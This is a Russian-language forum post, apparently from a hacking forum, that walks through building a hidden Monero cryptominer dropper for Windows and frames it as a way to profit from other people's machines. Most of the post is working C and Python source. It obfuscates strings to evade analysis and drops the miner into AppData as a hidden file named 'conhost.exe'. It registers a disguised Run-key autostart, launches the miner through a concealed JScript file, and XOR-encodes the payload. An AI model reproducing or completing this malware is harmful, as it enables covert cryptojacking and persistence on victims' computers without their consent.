Не знаю сливалась ли эта тема сюда, но солью на всякий. Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые ****ят дедики, лол. Приступим. Часть 0. Необходимое 1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES _ttps://ru.minergate.com/altminers/cpuminer-multi-wolf 2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool 3) Visual Studio, скрипт bin2src и иммунитет к говнокоду Часть 1. Архитектура скрытого майнера Архитектура будет такой: x64 ****пер, который будет ****ать на авторан js скрипт, запускающий майнер в скрытом режиме. ****ать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться. То есть, порядок сборки: Пишем каркас ****ера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке. Часть 2. ****пер ****ер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого ****аем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме Напишем Скопипиздим функцию определяющую поддержку AES #include <intrin.h> ... BOOL aes() // вернет тру если поддерживает { int CPUInfo[4]; __cpuid(CPUInfo, 1); return (CPUInfo[2] & (1 << 25)) != 0; } Далее научим ****ер блеваться майнерами в аппдату, для начала найдем эту самую аппдату: BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize) { WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' }; DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize); return ((dwRet > 0) && (dwRet <= dwSize)); } Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации ) Шик, теперь прихуярим создание поддиректории в аппдате BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName) { typedef BOOL (WINAPI *fnCreateDirectory)( _In_ LPWSTR lpPathName, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes ); CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' }; WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory); if (!fpCreateDirectory) return FALSE; LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpNewPath) return FALSE; wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName); BOOL bRet = fpCreateDirectory(lpNewPath, 0); if (GetLastError() == ERROR_ALREADY_EXISTS) bRet = TRUE; VirtualFree(lpNewPath, 0, MEM_RELEASE); return bRet; } очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт Теперь осталось сделать код, который ****нет все это дело в созданную директорию HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition) { typedef HANDLE (WINAPI *fnCreateFileW)( _In_ LPWSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile ); WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' }; fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW); if (!fpCreateFileW) return FALSE; return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0); } BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize) { typedef BOOL (WINAPI *fnWriteFile)( _In_ HANDLE hFile, _In_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ); WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' }; fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile); if (!fpWriteFile) return FALSE; DWORD dwWritten; return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0); } BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize) { LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpName) return FALSE; wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName); BOOL bRet = FALSE; HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS); if (hFile != INVALID_HANDLE_VALUE) { bRet = MyWriteFile(hFile, lpByteCode, dwSize); CloseHandle(hFile); } VirtualFree(lpNewName, 0, MEM_RELEASE); return bRet; } Ну и собрать воедино unsigned char lpMinerAes[] = { 0, 0 }; unsigned char lpMinerNoAes[] = { 0, 0 }; BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName) { BOOL bRet = FALSE; return bRet; } BOOL DropMiner(BOOL bAes) { LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpPath) return FALSE; BOOL bRet = FALSE; if (GetAppData(lpPath, 256)) { if (CreateSubdir(lpPath, L"Runion")) { lstrcatW(lpPath, L"\\Runion"); if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes), ((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes)))) { bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe"); } } } VirtualFree(lpPath, 0, MEM_RELEASE); return bRet; } Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D VOID MakeCorrection(LPWSTR out, LPWSTR in) { DWORD OutCounter = 0; for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++) { if (in[inCounter] == L'\\') { for (DWORD inter = 0; inter < 2; inter++) { out[OutCounter++] = L'\\'; } } else { out[OutCounter++] = in[inCounter]; } } out[OutCounter] = L'\0'; } BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName) { struct jsCorrect { WCHAR jsCorrect0[256]; WCHAR lpNewName[256]; WCHAR jscriptData[1024]; }; jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpjsc) return FALSE; BOOL bRet = FALSE; wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName); HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS); if (hFile != INVALID_HANDLE_VALUE) { MakeCorrection(lpjsc->jsCorrect0, lpPath); wsprintfW(lpjsc->jscriptData, L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);", lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1" ); bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2); CloseHandle(hFile); } VirtualFree(lpjsc, 0, MEM_RELEASE); return bRet; } BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName) { BOOL bRet = FALSE; HKEY hKey; DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0); if (ret == ERROR_SUCCESS) { if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName)) { LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (lpAutorunPath) { wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName); ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2); if (ret == ERROR_SUCCESS) { bRet = TRUE; } ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW); RegCloseKey(hKey); VirtualFree(lpAutorunPath, 0, MEM_RELEASE); } } } return bRet; } Собсна этот код ставит на авторан примерно следующее содержимое js: var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0); И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да? Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы bin2src import os,sys,re,struct def bin2src(s,name): s=bytearray(s) o="" o+=("static const unsigned char %s[]={" % name) for i in range(0,len(s)): if (i%32==0): o+=("\n") a = s a ^= 0x5 o+=("0x%2.2X," % a) o+=("\n};\n") return o l=len(sys.argv) if l<3: print "Error: invalid argument\npython bin2src.py file.bin name file.c" sys.exit() f=open(sys.argv[1],"rb") data=f.read() f.close() name=sys.argv[2] fout=sys.argv[3] data=bin2src(data,name) f=open(fout,"wb+") f.write(data) f.close() print "Done" Перегоняем в массив, билдим и готово Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).